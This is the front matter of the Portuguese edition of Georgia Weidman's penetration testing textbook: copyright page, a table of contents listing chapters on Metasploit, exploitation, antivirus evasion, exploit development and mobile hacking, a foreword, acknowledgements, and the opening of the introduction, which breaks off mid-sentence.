View Testes de Invasão Uma introdução prática ao hacking (Weidman, G.) flipbook.
Novatec Georgia Weidman
Copyright © 2014 by Georgia Weidman. Title of English-language original: Penetration Testing: A Hands-On Introduction to Hacking, ISBN 978-1-59327-564-8, published by No Starch Press. Portuguese-language edition copyright © 2014 by Novatec Editora Ltda. All rights reserved. Copyright © 2014 por Georgia Weidman. Título original em inglês: Penetration Testing: A Hands-On Intro- duction to Hacking, ISBN 978-1-59327-564-8, publicado pela No Starch Press. Edição em português copyright © 2014 pela Novatec Editora Ltda. Todos os direitos reservados. © Novatec Editora Ltda. 2014. Todos os direitos reservados e protegidos pela Lei 9.610 de 19/02/1998. É proibida a reprodução desta obra, mesmo parcial, por qualquer processo, sem prévia autorização, por escrito, do autor e da Editora. Editor: Rubens Prates Tradução: Lúcia A. Kinoshita Revisão gramatical: Marta Almeida de Sá Editoração eletrônica: Carolina Kuwabata ISBN: 978-85-7522-558-5 Histórico de edições impressas: Outubro/2016 Terceira reimpressão Janeiro/2016 Segunda reimpressão Abril/2015 Primeira reimpressão Outubro/2014 Primeira edição Novatec Editora Ltda. Rua Luís Antônio dos Santos 110 02460-000 – São Paulo, SP – Brasil Tel.: +55 11 2959-6529 E-mail: novatec@novatec.com.br Site: www.novatec.com.br Twitter: twitter.com/novateceditora Facebook: facebook.com/novatec LinkedIn: linkedin.com/in/novatec
Em memória de Jess Hilden.
7 Sumário Sobre a autora ........................................................................................................19 Apresentação ..........................................................................................................20 Agradecimentos ......................................................................................................23 Introdução ..............................................................................................................25 Nota de agradecimento ..................................................................................25 Sobre este livro ...............................................................................................26 Parte I: Definições básicas ..........................................................................27 Parte II: Avaliações .....................................................................................28 Parte III: Ataques .......................................................................................28 Parte IV: Desenvolvimento de exploits ........................................................29 Parte V: Hacking de dispositivos móveis .....................................................29 Capítulo 0 ■ Introdução aos testes de invasão ...........................................................30 Fases de um teste de invasão ........................................................................... 31 Preparação ................................................................................................ 32 Coleta de informações ...............................................................................33 Modelagem das ameaças ............................................................................34 Análise de vulnerabilidades .......................................................................34 Exploração de falhas ..................................................................................34 Pós-exploração de falhas ............................................................................35 Geração de relatórios ................................................................................35 Resumo ......................................................................................................... 37
Testes de invasão8 Parte I ■ Definições básicas..................................................................... 38 Capítulo 1 ■ Configurando o seu laboratório virtual ..................................................39 Instalando o VMware .....................................................................................39 Instalando o Kali Linux ..................................................................................40 Configurando a rede de sua máquina virtual ..............................................43 Instalando o Nessus...................................................................................48 Instalando softwares adicionais .................................................................. 51 Configurando emuladores de Android .......................................................54 Smartphone Pentest Framework .................................................................58 Máquinas virtuais-alvo ...................................................................................60 Criando o alvo Windows XP ...........................................................................60 VMware Player no Microsoft Windows.......................................................60 VMware Fusion no Mac OS .......................................................................63 Instalando e ativando o Windows ...............................................................63 Instalando o VMware Tools ........................................................................ 67 Desativando o Windows Firewall ...............................................................69 Configurando as senhas dos usuários ........................................................69 Configurando um endereço IP estático .......................................................70 Fazendo o XP atuar como se fosse membro de um domínio Windows .........72 Instalando softwares vulneráveis ................................................................73 Instalando o Immunity Debugger e o Mona ..............................................79 Instalando o alvo Ubuntu 8.10 ........................................................................ 81 Criando o alvo Windows 7 ............................................................................ 81 Criando uma conta de usuário ................................................................... 81 Desativando as atualizações automáticas ....................................................83 Configurando um endereço IP estático .......................................................84 Adicionando uma segunda interface de rede ...............................................85 Instalando softwares adicionais ..................................................................86 Resumo .........................................................................................................88 Capítulo 2 ■ Usando o Kali Linux ...............................................................................89 Linha de comando do Linux ..........................................................................89 Sistema de arquivos do Linux .........................................................................90 Mudando de diretório ...............................................................................90 Conhecendo os comandos: as man pages ........................................................ 91 Privilégios dos usuários ..................................................................................92 Adicionando um usuário ...........................................................................92
9Sumário Adicionando um usuário ao arquivo sudoers .............................................93 Trocando de usuário e utilizando o sudo ....................................................94 Criando um novo arquivo ou diretório .......................................................95 Copiando, movendo e apagando arquivos ...................................................95 Adicionando texto a um arquivo ................................................................95 Concatenando texto a um arquivo ..............................................................96 Permissões de arquivo ....................................................................................96 Editando arquivos ..........................................................................................98 Pesquisando textos ....................................................................................98 Editando um arquivo com o vi ...................................................................99 Manipulação de dados ................................................................................. 100 Usando o grep ......................................................................................... 100 Usando o sed............................................................................................101 Correspondência de padrões com o awk ................................................... 102 Administrando pacotes instalados................................................................. 102 Processos e serviços ..................................................................................... 103 Administrando redes ................................................................................... 103 Configurando um endereço IP estático ..................................................... 104 Visualizando as conexões de rede ............................................................. 105 Netcat: o canivete suíço das conexões TCP/IP ................................................ 106 Verificando se uma porta está ouvindo ..................................................... 106 Abrindo um shell de comandos listener .................................................... 107 Enviando um shell de comandos de volta a um listener ............................. 108 Automatizando tarefas com o cron ............................................................... 109 Resumo ........................................................................................................ 111 Capítulo 3 ■ Programação ...................................................................................... 112 Scripts com o Bash ........................................................................................112 Ping .........................................................................................................112 Script Bash simples ...................................................................................113 Executando o nosso script ........................................................................ 114 Adicionando funcionalidades por meio de instruções if ............................. 114 Laço for ...................................................................................................115 Organizando os resultados........................................................................117 Scripts com Python ...................................................................................... 120 Fazendo a conexão com uma porta............................................................121 Instrução if no Python ..............................................................................121 Criando e compilando programas em C ....................................................... 122 Resumo ....................................................................................................... 124
Testes de invasão10 Capítulo 4 ■ Utilizando o Metasploit ....................................................................... 125 Iniciando o Metasploit ................................................................................. 126 Encontrando módulos no Metasploit ............................................................ 128 Banco de dados de módulos..................................................................... 129 Pesquisa embutida ................................................................................... 130 Configurando as opções do módulo ............................................................. 133 RHOST ................................................................................................... 133 RPORT ................................................................................................... 134 SMBPIPE ................................................................................................ 134 Exploit Target .......................................................................................... 134 Payloads (ou Shellcode) ................................................................................ 135 Encontrando payloads compatíveis........................................................... 136 Execução de teste ..................................................................................... 137 Tipos de shell ............................................................................................... 138 Bind Shells .............................................................................................. 138 Reverse Shells .......................................................................................... 138 Definindo um payload manualmente ............................................................ 139 Msfcli .......................................................................................................... 141 Obtendo ajuda ......................................................................................... 141 Mostrando as opções ............................................................................... 142 Payloads.................................................................................................. 143 Criando payloads standalone com o Msfvenom ............................................. 144 Selecionando um payload ........................................................................ 145 Configurando as opções .......................................................................... 145 Selecionando um formato de saída ........................................................... 145 Servindo payloads ................................................................................... 146 Usando o módulo Multi/Handler ..............................................................147 Utilizando um módulo auxiliar .................................................................... 148 Resumo ........................................................................................................151 Parte II ■ Avaliações ..............................................................................153 Capítulo 5 ■ Coleta de informações ......................................................................... 154 Coleta de informações de fontes abertas ........................................................ 154 Netcraft .................................................................................................. 155 Lookups com o Whois ............................................................................. 156 Reconhecimento com DNS ...................................................................... 157
11Sumário Procurando endereços de email ................................................................ 160 Maltego ................................................................................................... 162 Scanning de portas ...................................................................................... 165 Scanning manual de portas ...................................................................... 166 Scanning de portas com o Nmap ............................................................. 167 Resumo ....................................................................................................... 176 Capítulo 6 ■ Descobrindo vulnerabilidades ............................................................. 177 Do scan de versões do Nmap à vulnerabilidade em potencial ........................ 177 Nessus ......................................................................................................... 178 Políticas do Nessus .................................................................................. 178 Realizando um scanning com o Nessus ................................................... 182 Observação sobre as classificações do Nessus ........................................... 184 Por que usar scanners de vulnerabilidade? ............................................... 185 Exportando os resultados do Nessus ....................................................... 185 Pesquisando vulnerabilidades .................................................................. 186 Nmap Scripting Engine ................................................................................ 187 Executando um único script no NSE ............................................................ 189 Módulos de scanner do Metasploit ............................................................... 192 Funções para verificação de exploits no Metasploit ........................................ 193 Scanning de aplicações web .......................................................................... 194 Nikto ..................................................................................................... 195 Atacando o XAMPP ................................................................................ 196 Credenciais default .................................................................................. 196 Análise manual ............................................................................................ 197 Explorando uma porta estranha ............................................................... 197 Encontrando nomes de usuário válidos ....................................................200 Resumo .......................................................................................................200 Capítulo 7 ■ Capturando tráfego ............................................................................ 202 Configuração da rede para capturar o tráfego ............................................... 202 Usando o Wireshark ..................................................................................... 203 Capturando tráfego ................................................................................. 203 Filtrando o tráfego ..................................................................................205 Seguindo um stream TCP .........................................................................206 Dissecando os pacotes ............................................................................. 207 ARP Cache Poisoning ...................................................................................208 Básico sobre o ARP .................................................................................208
Testes de invasão12 IP Forwarding .......................................................................................... 211 ARP cache poisoning com o Arpspoof .......................................................212 Usando o ARP cache poisoning para personificar o gateway default ...........213 DNS Cache Poisoning ...................................................................................214 Iniciando................................................................................................. 216 Usando o Dnsspoof ..................................................................................217 Ataques SSL ..................................................................................................218 Básico sobre o SSL ...................................................................................218 Usando o Ettercap para ataques SSL do tipo man-in-the-middle .................219 SSL Stripping.................................................................................................221 Usando o SSLstrip ................................................................................... 222 Resumo ....................................................................................................... 224 Parte III ■ Ataques ................................................................................225 Capítulo 8 ■ Exploração de falhas ........................................................................... 226 Retornando ao MS08-067 ............................................................................. 227 Payloads do Metasploit ............................................................................ 227 Meterpreter ............................................................................................ 229 Explorando as credenciais default do WebDAV .............................................. 230 Executando um script no servidor web do alvo ..........................................231 Fazendo o upload de um payload do Msfvenom.........................................231 Explorando o phpMyAdmin aberto .............................................................. 234 Fazendo download de um arquivo com o TFTP ........................................ 235 Fazendo o download de arquivos críticos ...................................................... 237 Fazendo o download de um arquivo de configuração ................................ 237 Fazendo download do arquivo SAM do Windows .................................... 238 Explorando um buffer overflow em um software de terceiros ......................... 239 Explorando aplicações web de terceiros ......................................................... 240 Explorando um serviço comprometido.......................................................... 243 Explorando os compartilhamentos NFS abertos ............................................ 244 Resumo ....................................................................................................... 246 Capítulo 9 ■ Ataques a senhas ................................................................................ 247 Gerenciamento de senhas ............................................................................. 247 Ataques online a senhas .............................................................................. 248 Listas de palavras .................................................................................... 249 Descobrindo nomes de usuário e senhas com o Hydra .............................. 253
13Sumário Ataques offline a senhas .............................................................................. 255 Recuperando hashes de senha a partir de um arquivo SAM do Windows ... 256 Fazendo o dump de hashes de senha por meio de acesso físico .................. 258 Algoritmos de hashing LM versus NTLM ................................................. 261 Problema com hashes de senha LM .......................................................... 262 John the Ripper .......................................................................................263 Quebrando senhas do Linux....................................................................266 Quebrando senhas de arquivos de configuração ....................................... 267 Tabelas rainbow ...................................................................................... 267 Serviços online para quebra de senhas .....................................................268 Fazendo o dump de senhas em formato texto simples ....................................268 Resumo ....................................................................................................... 269 Capítulo 10 ■ Exploração de falhas do lado do cliente.............................................. 270 Evitando filtros com payloads do Metasploit .................................................271 Todas as portas ........................................................................................271 Payloads HTTP e HTTPS ....................................................................... 272 Ataques do lado do cliente ........................................................................... 274 Exploração de falhas de navegadores ........................................................ 275 Exploits para PDF ...................................................................................283 Exploits de Java ......................................................................................288 browser_autopwn ....................................................................................295 Winamp .................................................................................................298 Resumo .......................................................................................................300 Capítulo 11 ■ Engenharia social.............................................................................. 302 Social-Engineer Toolkit................................................................................. 303 Ataques spear-phishing ................................................................................304 Selecionando um payload ........................................................................305 Configurando as opções ..........................................................................306 Dando nome ao seu arquivo..................................................................... 307 Um ou vários emails ................................................................................ 307 Criando o template ..................................................................................308 Definindo o alvo ......................................................................................309 Configurando um listener .........................................................................310 Ataques web ................................................................................................. 311 Ataques de email em massa ...........................................................................314 Ataques em várias direções ...........................................................................317 Resumo ........................................................................................................317
Testes de invasão14 Capítulo 12 ■ Evitando aplicações antivírus ............................................................ 318 Cavalos de Troia (trojans) ..............................................................................318 Msfvenom ................................................................................................319 Como funcionam os aplicativos antivírus ...................................................... 322 Microsoft Security Essentials ........................................................................ 322 VirusTotal ................................................................................................... 324 Passando por um programa antivírus ............................................................ 325 Efetuando uma codificação ..................................................................... 325 Cross-compilação personalizada ............................................................. 328 Criptografando executáveis com o Hyperion .............................................331 Evitando os antivírus com o Veil-Evasion ................................................. 333 Escondendo-se à vista de todos .................................................................... 337 Resumo ....................................................................................................... 338 Capítulo 13 ■ Pós-exploração de falhas .................................................................. 339 Meterpreter ..................................................................................................340 Utilizando o comando upload ...................................................................341 getuid ..................................................................................................... 342 Outros comandos do Meterpreter............................................................. 342 Scripts do Meterpreter ................................................................................. 342 Módulos de pós-exploração de falhas do Metasploit ......................................344 Railgun ........................................................................................................346 Escalação de privilégios locais.......................................................................346 getsystem no Windows ............................................................................ 347 Módulo de escalação de privilégios locais para o Windows ....................... 347 Evitando o UAC no Windows .................................................................. 349 Escalação de privilégios com o udev no Linux .......................................... 350 Coleta de informações locais......................................................................... 356 Procurando arquivos ............................................................................... 356 Keylogging (registro de teclas) .................................................................. 356 Obtendo credenciais ................................................................................ 357 Comandos net .........................................................................................360 Outra maneira de acessar um sistema ...................................................... 361 Verificando o histórico do Bash ................................................................ 361 Movimento lateral ........................................................................................ 362 PSExec .................................................................................................... 362 Pass the Hash (Passe a hash) ...................................................................364 SSHExec .................................................................................................366
15Sumário Token para personificação .......................................................................368 Incognito ................................................................................................368 Captura de SMB ...................................................................................... 370 Pivoteamento .............................................................................................. 372 Adicionando uma rota no Metasploit .......................................................374 Scanners de porta do Metasploit .............................................................. 375 Executando um exploit por meio de um pivô ............................................ 376 Socks4a e ProxyChains ........................................................................... 376 Persistência ................................................................................................. 378 Adicionando um usuário ......................................................................... 379 Persistência no Metasploit .......................................................................380 Criando um cron job no Linux ................................................................ 381 Resumo .......................................................................................................382 Capítulo 14 ■ Testes em aplicações web ................................................................. 383 Utilizando o Burp Proxy ..............................................................................383 Injeção de SQL.............................................................................................388 Testando a existência de vulnerabilidades de injeção de SQL..................... 390 Explorando vulnerabilidades de injeção de SQL ........................................391 Usando o SQLMap ...................................................................................391 Injeção de XPath .......................................................................................... 393 Inclusão de arquivos locais ........................................................................... 395 Inclusão de arquivos remotos ........................................................................ 398 Execução de comandos................................................................................. 398 Cross-site Scripting ...................................................................................... 401 Verificando a existência de uma vulnerabilidade de XSS refletido .............. 401 Tirando proveito do XSS com o Browser Exploitation Framework..............403 Cross-site Request Forgery ...........................................................................408 Scanning de aplicações web com o w3af ........................................................408 Resumo ....................................................................................................... 410 Capítulo 15 ■ Ataques wireless .............................................................................. 412 Instalação .....................................................................................................412 Visualizando as interfaces wireless disponíveis .......................................... 413 Scan para descobrir pontos de acesso ........................................................414 Modo monitor ..............................................................................................414 Capturando pacotes ..................................................................................... 416 Wireless aberto ........................................................................................... 416
Testes de invasão16 Wired Equivalent Privacy ..............................................................................417 Pontos fracos do WEP ............................................................................. 420 Efetuando o cracking das chaves WEP com o Aircrack-ng .........................421 Wi-Fi Protected Access .................................................................................. 425 WPA2 ..........................................................................................................426 Processo de conexão corporativa ..............................................................426 O processo de conexão pessoal ................................................................. 427 Handshake de quatro vias ........................................................................ 427 Quebrando chaves WPA/WPA2 ............................................................... 429 Wi-Fi Protected Setup ................................................................................... 433 Problemas com o WPS ............................................................................. 433 Cracking do WPS com o Bully ................................................................ 434 Resumo ....................................................................................................... 434 Parte IV ■ Desenvolvimento de exploits .................................................435 Capítulo 16 ■ Buffer overflow com base em pilha no Linux ...................................... 436 Teoria de memória .......................................................................................436 Buffer overflow no Linux ..............................................................................440 Um programa vulnerável ........................................................................440 Provocando uma falha .............................................................................442 Executando o GDB ..................................................................................444 Provocando uma falha no programa com o GDB ......................................449 Controlando o EIP .................................................................................. 452 Sequestrando a execução.......................................................................... 454 Ordem dos bytes (endianness) ................................................................. 456 Resumo ....................................................................................................... 458 Capítulo 17 ■ Buffer overflow com base em pilha no Windows ................................ 459 Procurando uma vulnerabilidade conhecida no War-FTP ..............................460 Provocando uma falha ..................................................................................463 Localizando o EIP ........................................................................................465 Gerando um padrão cíclico para determinar o offset .................................466 Verificando os offsets ............................................................................... 470 Sequestrando a execução .............................................................................. 472 Obtendo um shell ........................................................................................ 478 Resumo .......................................................................................................484
17Sumário Capítulo 18 ■ Sobrescritas de SEH .......................................................................... 485 Exploits de sobrescrita de SEH ......................................................................486 Passando o controle ao SEH ..........................................................................491 Encontrando a string de ataque na memória ................................................ 492 POP POP RET ............................................................................................. 497 SafeSEH ....................................................................................................... 498 Usando um short jump ................................................................................503 Selecionando um payload .............................................................................505 Resumo .......................................................................................................506 Capítulo 19 ■ Fuzzing, porte de exploits e módulos do Metasploit ........................... 507 Efetuando fuzzing em programas ................................................................. 507 Encontrando bugs em revisão de código ...................................................508 Efetuando fuzzing em um servidor Trivial FTP .........................................508 Tentativa de provocar uma falha ................................................................510 Portando exploits públicos para atender às suas necessidades..........................515 Encontrando um endereço de retorno .......................................................518 Substituindo o shellcode ..........................................................................519 Alterando o exploit ..................................................................................519 Criando módulos para o Metasploit ..............................................................521 Um módulo semelhante com string de exploit ......................................... 524 Portando o código de nosso exploit .......................................................... 525 Técnicas para atenuação de exploração de falhas............................................ 530 Cookies de pilha ..................................................................................... 530 Address Space Layout Randomization ......................................................531 Data Execution Prevention ....................................................................... 532 Assinatura obrigatória de código ............................................................. 532 Resumo ....................................................................................................... 533 Parte V ■ Hacking de dispositivos móveis ...............................................535 Capítulo 20 ■ Utilizando o Smartphone Pentest Framework .................................... 536 Vetores de ataque móvel ............................................................................... 537 Mensagens de texto ................................................................................. 537 Near Field Communication...................................................................... 538 Códigos QR ............................................................................................ 538
Testes de invasão18 Smartphone Pentest Framework ................................................................... 538 Configurando o SPF ................................................................................ 539 Emuladores de Android .......................................................................... 541 Associando um modem móvel ................................................................. 541 Criando o aplicativo Android ................................................................... 541 Instalando o aplicativo ............................................................................. 542 Associando o servidor do SPF e o aplicativo ..............................................544 Ataques remotos ..........................................................................................546 Login default do SSH no iPhone ..............................................................546 Ataques do lado do cliente ...........................................................................548 Shell do lado do cliente ............................................................................548 Controle remoto com o USSD .................................................................. 550 Aplicativos maliciosos .................................................................................. 552 Criando agentes SPF maliciosos ............................................................... 553 Pós-exploração de falhas em dispositivos móveis............................................ 561 Coleta de informações ............................................................................. 561 Controle remoto ......................................................................................563 Efetuando o pivoteamento por meio de dispositivos móveis ......................564 Escalação de privilégios .......................................................................... 570 Resumo ........................................................................................................571 Recursos ............................................................................................................... 572 Fazendo o download dos softwares para criar o seu laboratório virtual .......... 575
19 Sobre a autora Georgia Weidman é pentester e pesquisadora, bem como fundadora do Bulb Security, uma empresa de consultoria na área de segurança. Faz apresentações em conferências pelo mundo todo, incluindo o Black Hat, o ShmooCon e o DerbyCon, além de dar aulas sobre assuntos como testes de invasão, hacking de dispositivos móveis e desenvolvimento de exploits. Seu tra- balho em segurança de dispositivos móveis vem sendo publicado e apresentado na TV interna- cionalmente. Ela recebeu fundos do Cyber Fast Track da DARPA para continuar seus trabalhos na área de segurança de dispositivos móveis. © Fotografia de Tommy Phillips
20 Apresentação Conheci Georgia Weidman em uma conferência há quase dois anos. Intrigado por aquilo que ela estava fazendo na área de segurança de dispositivos móveis, comecei a acompanhar o seu trabalho. Em todas as conferências de que participei desde então, encontrei Georgia e a vi compartilhando seus conhecimentos e suas ideias sobre segurança de dispositivos móveis e o seu Smartphone Pentesting Framework, de maneira apaixonada. Com efeito, a segurança de dispositivos móveis é somente um dos trabalhos de Georgia. Ela realiza testes de invasão como meio de vida: Georgia viaja pelo mundo para ministrar cursos de testes de invasão, do Metasploit Framework e de segurança de dispositivos móveis, além de apresentar ideias novas e inovadoras em conferências sobre como avaliar a segurança de dispositivos móveis. Georgia não mede esforços para se aprofundar em assuntos mais avançados e trabalhar arduamente para conhecer novidades. Foi aluna de meu Exploit Deve- lopment Bootcamp (bastante desafiador), e posso garantir que ela se saiu muito bem durante todas as aulas. Georgia é uma verdadeira hacker – sempre disposta a compartilhar suas descobertas e seu conhecimento com nossa grande comu- nidade de segurança de informações – e, quando ela me pediu para escrever o prefácio deste livro, me senti bastante privilegiado e honrado. Como Chief Information Security Officer (diretor de segurança da informação), uma parte significativa de meu trabalho gira em torno do design, da imple- mentação e da administração de um programa de segurança de informações. O gerenciamento de riscos é um aspecto muito importante do programa porque permite que uma empresa faça avaliações de sua postura atual e a entenda melhor no que diz respeito aos riscos. Isso também permite que uma empresa defina prioridades e implemente medidas para reduzir os riscos a um nível aceitável, de acordo com as atividades do negócio principal da empresa, sua missão, sua visão e os requisitos legais.
21Apresentação Identificar todos os processos críticos do negócio, os dados e os fluxos de dados dentro de uma empresa constitui um dos primeiros passos do gerenciamento de riscos. Esse passo inclui a compilação de um inventário detalhado de todos os sistemas de TI (equipamentos, redes, aplicações, interfaces e assim por diante) que dão suporte aos processos críticos do negócio e aos dados da empresa do ponto de vista de TI. A tarefa consome tempo e é muito fácil esquecer-se de determina- dos sistemas que, à primeira vista, não parecem estar diretamente relacionados ao suporte dos processos e dos dados cruciais do negócio, mas que, apesar disso, são críticos porque outros sistemas dependem deles. Esse inventário é extrema- mente importante e representa o ponto de partida perfeito para um exercício de avaliação de riscos. Um dos objetivos de um programa de segurança da informação é definir o que é necessário para preservar o nível desejado de confidencialidade, integridade e dispo- nibilidade dos sistemas de TI e dos dados de uma empresa. Os donos de processos de negócios devem ser capazes de definir suas metas, e o nosso trabalho como pro- fissionais da área de segurança da informação consiste em implementar medidas que garantam que essas metas serão atingidas e testar a eficiência dessas medidas. Há algumas maneiras de determinar os verdadeiros riscos à confidencialidade, integridade e disponibilidade dos sistemas de uma empresa. Uma delas é realizar uma avaliação técnica para verificar o nível de dificuldade que teria um adversário em comprometer o nível desejado de confidencialidade, quebrar a integridade dos sistemas e interferir em sua disponibilidade, seja atacando-os diretamente ou atacando os usuários que tenham acesso a esses sistemas. É nesse ponto que um pentester (hacker ético, ou seja lá o nome que você queira lhe dar) entra em cena. Ao combinar o conhecimento sobre como os sistemas são projetados, criados e mantidos com um conjunto de habilidades que inclui a descoberta de maneiras criativas de se desviar dos sistemas de defesa, um bom pentester é fundamental para identificar e demonstrar a solidez da postura de uma empresa no que diz respeito à segurança de informações. Se quiser se tornar um pentester ou se você for um administrador de sistemas ou de rede que queira saber mais a respeito de como testar a segurança de seus sistemas, este livro é perfeito para você. Você conhecerá algumas das fases mais técnicas de um teste de invasão, começando pelo processo inicial de coleta de informações. Prosseguirá com explicações sobre como explorar redes e aplicações vulneráveis à medida que mergulhar mais fundo na rede para determinar o nível de danos que pode ser causado.
Testes de invasão22 Este livro é único porque não é somente uma compilação de ferramentas, com uma discussão sobre as opções disponíveis. Ele adota uma abordagem bem prática, de- senvolvida em torno de um laboratório – um conjunto de máquinas virtuais com aplicações vulneráveis – para que você possa experimentar várias técnicas de testes de invasão de forma segura, usando ferramentas gratuitas, publicamente disponíveis. Cada capítulo tem início com uma introdução e contém um ou mais exercícios práticos que permitirão entender melhor de que modo as vulnerabilidades podem ser descobertas e exploradas. Você encontrará dicas e truques úteis fornecidos por uma pentester profissional e experiente, cenários da vida real, técnicas compro- vadas e casos ocorridos em testes de invasão reais. Livros inteiros podem ser escritos (e foram) sobre os assuntos discutidos em cada capítulo, e este livro não reivindica ser a Wikipedia dos testes de invasão. Apesar disso, a obra certamente oferece mais do que uma introdução à grande variedade de ataques que podem ser realizados para avaliar a postura de um alvo em relação à segurança. Graças à sua abordagem orientada e prática, você aprenderá a usar o Metasploit Framework para explorar aplicações vulneráveis e a usar uma única brecha nas defesas de um sistema para passar por todas as proteções perimetrais, mergulhar mais fundo na rede e apropriar-se de dados dos sistemas-alvo. Você aprenderá a desviar-se de programas antivírus e a realizar ataques eficientes de engenharia social por meio de ferramentas como o Social-Engineer Toolkit. Verá como é fácil invadir uma rede Wi-Fi corporativa e aprenderá a usar o Smartphone Pentest Framework de Georgia para avaliar o quanto uma política de empresa que dê permissão para trazer o seu próprio dispositivo (ou a ausência dela) pode ser prejudicial. Cada capítulo foi projetado para despertar o seu interesse nos testes de invasão e para fornecer ideias em primeira mão a respeito do que se passa na mente de um pentester. Espero que este livro desperte a sua criatividade e o seu desejo de se aprofundar em determinadas áreas, trabalhar com mais afinco, aprender mais, fazer suas próprias pesquisas e compartilhar o seu conhecimento com a comunidade. À medida que a tecnologia se desenvolve, os ambientes mudam e as empresas contam cada vez mais com a tecnologia para dar suporte às atividades principais de seu negócio, aumenta a necessidade de termos pentesters inteligentes. Você é o futuro dessa comunidade e do mercado de segurança de informações. Boa sorte ao dar seus primeiros passos no empolgante mundo dos testes de in- vasão. Tenho certeza de que você irá gostar deste livro! Peter “corelanc0d3r” Van Eeckhoutte, Fundador da Corelan Team
23 Agradecimentos Quero agradecer muito às seguintes pessoas e organizações (em nenhuma ordem em particular): Aos meus pais, que sempre apoiaram os empreendimentos em minha carreira – isso incluiu efetuar o pagamento para que eu fosse à minha primeira conferência e obtivesse minhas primeiras certificações quando eu ainda era uma estudante universitária sem dinheiro. Ao Collegiate Cyber Defense Competition, particularmente ao Red Team da re- gião do Atlântico central, por ter me ajudado a descobrir o que eu queria fazer da minha vida. Ao ShmooCon, por ter aceito a minha primeira palestra e também por ter sido a primeira conferência da qual participei. A Peiter “Mudge” Zatko e a todos os envolvidos no programa Cyber Fast Track da DARPA, por terem me dado a oportunidade de fundar minha própria empresa e criar o Smartphone Pentest Framework. A James Siegel, por ser meu amuleto de sorte e garantir que eu chegue a tempo no palco nos eventos. A Rob Fuller, por ter reservado tempo para vir à James Madison University e vi- sitar a equipe da CCDC após a competição. Naquele dia, eu decidi fazer carreira em segurança da informação. A John Fulmer, por ter me ajudado com os detalhes de criptografia no capítulo sobre wireless. A Rachel Russell e a Micheal Cottingham, por terem sido meus primeiros colegas em segurança da informação. A Jason e Rachel Oliver, pela revisão técnica e de conteúdo, e também por terem criado um olhar esfumaçado perfeito para o ShmooCon e o Black Hat.
Testes de invasão24 A Joe McCray, meu irmão na área de segurança da informação, por ser meu mentor à medida que aprendo a navegar nos negócios dessa área. A Leonard Chin, por ter me proporcionado a primeira grande experiência em conferências internacionais e pela confiança em se tornar um instrutor para conferências. A Brian Carty, por ter me ajudado a criar meu laboratório online. A Tom Bruch, por ter me deixado morar em sua casa quando eu não tinha emprego e ainda não havia recebido o meu dinheiro da DARPA. A Dave Kennedy, por ter me colocado em contato com diversas oportunidades ótimas. A Grecs, por me ajudar a fazer propaganda de minhas aulas em seu site. A Raphael Mudge, por ter me colocado em contato com o programa Cyber Fast Track da DARPA e com várias outras oportunidades excelentes. A Peter Hesse e Gene Meltser, por terem me forçado a ter coragem de prosseguir nas encruzilhadas cruciais de minha carreira. A Jayson Street, por ser um comensal mais exigente do que eu, de modo que quase pareço normal nos jantares aos palestrantes em países estrangeiros. Você é a melhor pessoa do mundo. A Ian Amit, por ter me recomendado para ótimas oportunidades de fazer palestras quando eu estava apenas começando. A Martin Bos, por ser incrível. Você sabe o que eu quero dizer. A Jason Kent, por todos aqueles upgrades globais de primeira e pelas tautologias maravilhosas para definições, algumas das quais aparecem aqui. Aos meus professores da James Madison University, particularmente a Samuel T. Redwine – vocês me inspiraram mais do que jamais possam imaginar. Às pessoas da No Starch Press, por sua ajuda e pelo apoio no desenvolvimento deste livro, incluindo Alison Law, Tyler Ortman e KC Crowell. Agradecimentos especiais ao meu editor e publisher da No Starch, Bill Pollock.
25 Introdução Decidi escrever este livro porque era o tipo de livro que eu gostaria de ter tido quando estava começando na área de segurança da informação. Embora, certa- mente, haja mais sites informativos por aí hoje do que havia quando comecei na área, ainda acho difícil para um iniciante saber o que ele deve ler primeiro e onde obter as habilidades esperadas como pré-requisito. De modo semelhante, há muitos livros no mercado – vários livros ótimos sobre assuntos avançados, que exigem um pouco de conhecimento anterior, e diversos livros bons voltados aos iniciantes, que abordam um volume significativo de teoria. No entanto não encontrei nada que diga tudo o que eu gostaria de dizer a um aspirante a pentester que me envie um email à procura de um ponto de partida na área de segurança da informação. Em minha carreira no ensino, meu curso predileto sempre foi o de Introdução aos testes de invasão. Os alunos sempre têm sede de conhecimento e é muito divertido estar por perto nesse momento. Desse modo, quando fui abordada pela No Starch Press para escrever um livro, este foi o livro que propus. Quando ele foi anunciado, muitas pessoas supunham que eu estava escrevendo um livro sobre segurança de dispositivos móveis, porém, embora eu considerasse isso, achei que uma introdução aos testes de invasão exerceria um impacto maior sobre o público-alvo que eu mais gostaria de atingir. Nota de agradecimento Um livro como este não teria sido possível sem vários anos de trabalho dedicado da parte da comunidade de segurança da informação. As ferramentas e técnicas discutidas ao longo deste livro são algumas das quais meus colegas e eu usamos regularmente nos trabalhos, e elas foram desenvolvidas por meio dos esforços combinados de pentesters e de outros especialistas em segurança de todo o mundo. Contribuí com alguns desses projetos de código aberto (como o Mona.py, que usaremos nos capítulos de desenvolvimento de exploits), e espero que este livro lhe inspire a fazer o mesmo.
Testes de invasão26 Gostaria de aproveitar esta oportunidade para agradecer a Offensive Security por criar e manter a distribuição do Kali Linux para testes de invasão, ampla- mente usada em campo e ao longo deste livro. Muitos agradecimentos também vão para os principais desenvolvedores do Metasploit Framework, bem como às inúmeras pessoas que contribuem com a comunidade. Agradeço também a todos os pentesters e aos pesquisadores que compartilharam seus conhecimentos, as descobertas e as técnicas com a comunidade para que pudéssemos usá-los a fim de avaliar a postura de nossos clientes quanto à segurança com mais eficiência, e para que professores como eu pudessem utilizá-los junto a nossos alunos. Agradeço também aos criadores de ótimos livros, de postagens de blog, de cursos e assim por diante, que me ajudaram a atingir a meta de me tornar uma pentester profissional. Agora espero poder compartilhar o conhecimento adquirido com outros aspirantes a pentesters. Você encontrará uma lista de recursos adicionais (incluindo cursos e blogs) no final deste livro. Esses são alguns dos recursos que considerei úteis em minha própria jornada na área de segurança da informação, e incentivo você a usá-los para aprender mais sobre os vários assuntos relacionados aos testes de invasão discutidos neste livro. Espero que você desfrute de sua jornada tanto quanto eu desfrutei da minha. Sobre este livro Para trabalhar com este livro, você deverá saber como instalar softwares em seu computador. Só isso. Não é preciso ser um especialista em Linux nem conhecer os detalhes a respeito de como funcionam os protocolos de rede. Quando você se deparar com um assunto com o qual não esteja familiarizado, sugiro que você faça pesquisas adicionais que vão além das minhas explicações, caso seja neces- sário – porém descreveremos, passo a passo, todas as ferramentas e técnicas que possam ser novidade para você, começando pela linha de comando do Linux. Quando comecei a trabalhar com segurança de informações, o máximo que eu havia feito em relação a hacking foi 